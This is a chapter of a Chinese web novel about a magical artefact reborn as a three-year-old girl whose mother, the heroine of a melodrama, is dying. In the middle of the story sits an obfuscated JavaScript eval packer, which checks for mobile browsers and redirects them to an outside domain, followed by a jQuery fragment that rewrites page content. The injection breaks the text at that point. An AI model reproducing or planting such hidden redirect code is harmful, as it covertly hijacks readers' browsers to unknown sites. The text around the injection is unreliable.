暖洋洋的阳光落在穗穗的眼皮上，穗穗还是有些不可思议自己的小手小脚。


    老师在分发零食，小食堂烘焙的无色素饼干和纯牛奶。饼干的造型可可爱爱，有小狐狸、小兔子等等图案，穗穗也被分了几块小饼干和纯牛奶，她细声细气地道：“谢谢老师。”


    胖手手捏着饼干往嘴里塞，加了黄油和芝士的饼干有着浓郁的奶香，饼干酥脆掉渣，穗穗稀奇地一边嚼嚼嚼，一边吮着吸管。


    三两口就把饼干和牛奶吃完了。


    穗穗又继续盯着自己的小手小脚，对着教室中的镜子看自己。


    三岁幼崽被养得挺好，白嫩漂亮的小脸尚带着几分婴儿肥，个子矮矮的，还是个小萝卜头。穿着可爱统一的幼儿园园服。


    穗穗摸了摸头发，软的。


    又捏了捏自己的脸蛋，还是软的。


    适应了人类的身体，穗穗发现，还是比自己原本的形态灵活多了。


    她原本是天地万象仪，可算天下事，无所不知无所不晓。却没想到因为洪荒大战，连她也意外来到了完全陌生的世界。


    这个世界是一本书，而且还是一本狗血的虐文带球跑文学。


    原书名为《陆总别虐了，夫人她病入膏肓》的狗血虐文中，女主万婉嫁入豪门后被各种羞辱虐待，直到白月光回来，她彻底心灰意冷，才接受了离婚协议，带着孕肚离开。生下女儿后独自抚养，也就是在女儿三四岁时，发现自己病入膏肓，根本活不久。男主陆鹤宣这时候才追悔莫及，可惜女主最终还是死在病床上。


    问题是，穗穗自己就是带球跑的那个球，而她妈是虐文女主。


    她挠了挠头，听见有几个小朋友在嘲笑她，“穗穗这个丑八怪又在臭美了。”


    话都说不利索的年纪倒是先学会了嘲讽人。


    穗穗捧着细嫩的脸蛋，左看右看，没有丑啊，漂亮可爱。


    “你别理她，她就是一个没爸爸的野种。”


    用稚嫩声音说着恶毒的话，有种说不出来的惊悚。穗穗看过去，原来是一个小男孩，不知道野种这种话是从哪里学来的。


    他的头顶笼罩着一层黑气，穗穗指着他，“你快倒大霉了。”


    她不是开玩笑，人的身体上有各种气，黑气预示着霉运缠身或者命不久矣，绿色预示着最近身体状况良好，紫气金气则贵不可言，粉气则是有孕，红气人逢喜事。


    小男孩家里上面还有三个姐姐，他在家里千娇百宠，被娇纵得无法无天，一听穗穗这么说，立刻要摆出在家里的厉害劲儿，直接抓着水杯要砸向穗穗。


    穗穗一边跑一边喊：“你本来就快要倒大霉了，你自己好自为之吧。”


    下午四五点快要放学了，小男孩没逮到穗穗，只是恶狠狠地瞪了穗穗一眼。恰好这时候看到门外奶奶来接他，他恶从心起，径直走向角落中独自坐着的男生，“明天给你带一盒黄油曲奇，你走得晚，把她锁厕所里。”


    黄油曲奇四个字让男生舔了舔嘴唇，幼儿园的孩子里面，他家里是北漂，爸妈都很辛苦，自然没有这些本地的孩子过得那么舒适自在。但他还是警惕道：“会被老师抓到的。”


    “这么多孩子老师哪能一个个顾得上，你还想不想吃黄油曲奇了。”小男孩恶气威胁。


    他是班里的小霸王，男生不想跟他起冲突，就点点头：“好。”


    小萝卜头们放学了，园外都是来接送孩子的家长。穗穗因为喝了点牛奶，又咕嘟嘟喝了很多水，这会夹着腿扭着屁股冲向厕所。


    春苗幼儿园就连厕所也都是被漆成色彩斑斓的模样，穗穗选了一扇绿色的门进去上厕所。


    男生紧随而上，第一次做这样的事情还有点紧张，不过他想到还没到手的黄油曲奇又立刻把厕所门锁上。


    若无其事走出教室，老师这时候牵着他的手：“乐乐你刚刚去干什么了，你妈妈正等着你呢。”


    被称为乐乐的小男生只是舔舔嘴唇。


    穗穗上完厕所，往手上挤了点洗手液，黏糊糊的感觉让她颇为新奇，攥着小手玩着搓出来的泡沫，玩够了才把手冲洗干净。


    她抓着门把手一拉，巍然不动。


    门坏了？


    穗穗抓着门又是一个用力，门还是没动。


    她确定门是从外往里被锁上了。


    外面的天逐渐黑了，天黑了妈妈要着急。穗穗索性不再门上费力，看着高高的窗户，她费力爬上去，幼崽的短手短脚有时候还是没有那么方便，就像现在穗穗要费很大力气才能从窗户跳下来。


    幼儿园的大门已经锁了。


    穗穗发现……今天妈妈居然没来接她。


    不过租的房子就在幼儿园附近，很近，那条小路早就了如指掌。穗穗掰着手指头，算算日子，妈妈这时候估计得了癌症，这种病好像致死率很高，好巧不巧穗穗有一个锦囊，里面都是灵丹妙药，而她也会点医术。


    洪荒道祖传道，三千圣人来听。而穗穗作为被道祖捧在手心的万象仪，自然也能跟着悟道，不仅如此，她还学了很多东西。跟着女娲圣人学着捏泥人儿，跟着云霄娘娘学阵法，什么都会点。


    呼啦——


    晚高峰的车很堵，穗穗看着红绿灯，一股脑穿过停滞的车群。


    盘算着要给妈妈调养身体，顺便赚点钱。


    嘴巴回味着饼干的味道，穗穗知道现代社会什么东西都得要钱，没钱就寸步难行，而她妈妈的收入只能勉强养活她们母女俩。


    穿过逼仄小路，老式的居民楼低矮，楼道内则是牛皮癣一般的广告，黑咕隆咚的楼道内，穗穗小心翼翼敲了敲门，好一会，门才打开。


    万婉看着女儿，脸色惨白得厉害，再加上灯光昏暗的缘故，整个人简直像一个单薄的纸人，红艳艳的春联映衬下，颇有中式恐怖的感觉。但那张脸还是好看的，她蹲下来摸了摸穗穗的脑袋：“抱歉啊宝宝，妈咪今天身体太不舒服了，就没去接你。”


    穗穗看着她头顶的一团浓郁黑气，这是人之将死的死气。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491206|185872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她笑眯眯道：“妈妈没关系的，我自己不是也回来了吗？我在幼儿园玩了一会，玩够了就回来了，做饭了吗？”


    穗穗没说被人关在厕所的事，不用猜想就知道就那个小胖子搞的鬼。


    小胖子头顶也有黑气，不是他倒霉就得是他家里人倒霉。


    “做饭了，刚做好。你先去看会平板。”万婉让开身体，把平板解锁了给穗穗玩，平时她没这么善解人意给平板玩，一般穗穗看书或者玩玩具。但今天的万婉很显然心事重重。


    穗穗抱着平板，打开了一个动画品，津津有味地看起来。


    饭菜一盘盘被端出来，有尖椒炒土豆丝，有清炒上海青，还有可乐鸡翅，晚上的主食是白粥，色香味俱全。


    穗穗担心地看着妈妈的身体，忧心忡忡地举着筷子吃起来。


    “土豆丝好脆。”穗穗自己就已经能够好好吃饭了，她第一次做人，还是做人类幼崽，吃饭一点也不挑食，什么饭都能吃。


    菜量不大，万婉也没什么胃口，大部分的菜都进了穗穗的肚子里。


    “吃饱了吗宝宝，去消消食，我去洗碗。”万婉今晚有点心不在焉，她把餐碗收拾好，就到厨房中洗碗。


    她们租的这个套房是两室两厅，在京城这种寸土寸金的地方即便是老式居民楼也一点不便宜，万婉离开穗穗的渣爹后净身出户，又重新捡起来画师的工作，在一家小游戏公司画原画，工资不低，但每个月的房租水电费，还有穗穗的餐费、幼儿园的费用等等，一个月的剩不了多少钱。


    穗穗叹了一口气，亲妈恋爱脑，这可咋整。


    她的目光落在垃圾桶中被团成一团的白纸，她把纸拿出来一看，乱七八糟的数字看不懂，只知道是病历单，而且还是很严重的病。


    听着厨房中传来的淅淅沥沥水声，穗穗把病历单又恢复原状丢进垃圾桶。


    小孩子的能吃归能吃，但是吃太多还是会很撑。


    她这会肚子特别饱，肚皮鼓鼓囊囊像个大西瓜，她索性在套房内跑来跑去，卧室到客厅客厅到卧室，一边跑一边揉肚子，没过一会就不撑了。


    又接着看没有看完的动画片。


    晚上九点多，穗穗眼皮耷拉着就点困。万婉走过来，把她抱起来，放在床上，“困了？那我们睡觉吧。”


    由于穗穗还是个三岁的小朋友，连带着万婉自己的作息都变得无比正常。


    穗穗躺在被窝中，万婉身上柔和的香气很好闻。


    万婉从书架上取下来一本睡前读物，讲故事给穗穗听，“很久很久以前，有一位美丽的公主……”


    这时门外忽然传来一阵喧闹的声音。


    像是在砸门。


    嘭嘭嘭的响声在夜晚格外明晰，穗穗躲在被窝中捂着耳朵，感觉快神经衰弱了：“吵……”


    万婉放下晚间读物，替穗穗掖好被子：“你先睡觉，妈妈去看看怎么回事。”


    穗穗不肯，也掀开被子，小尾巴一样跟在万婉的身后。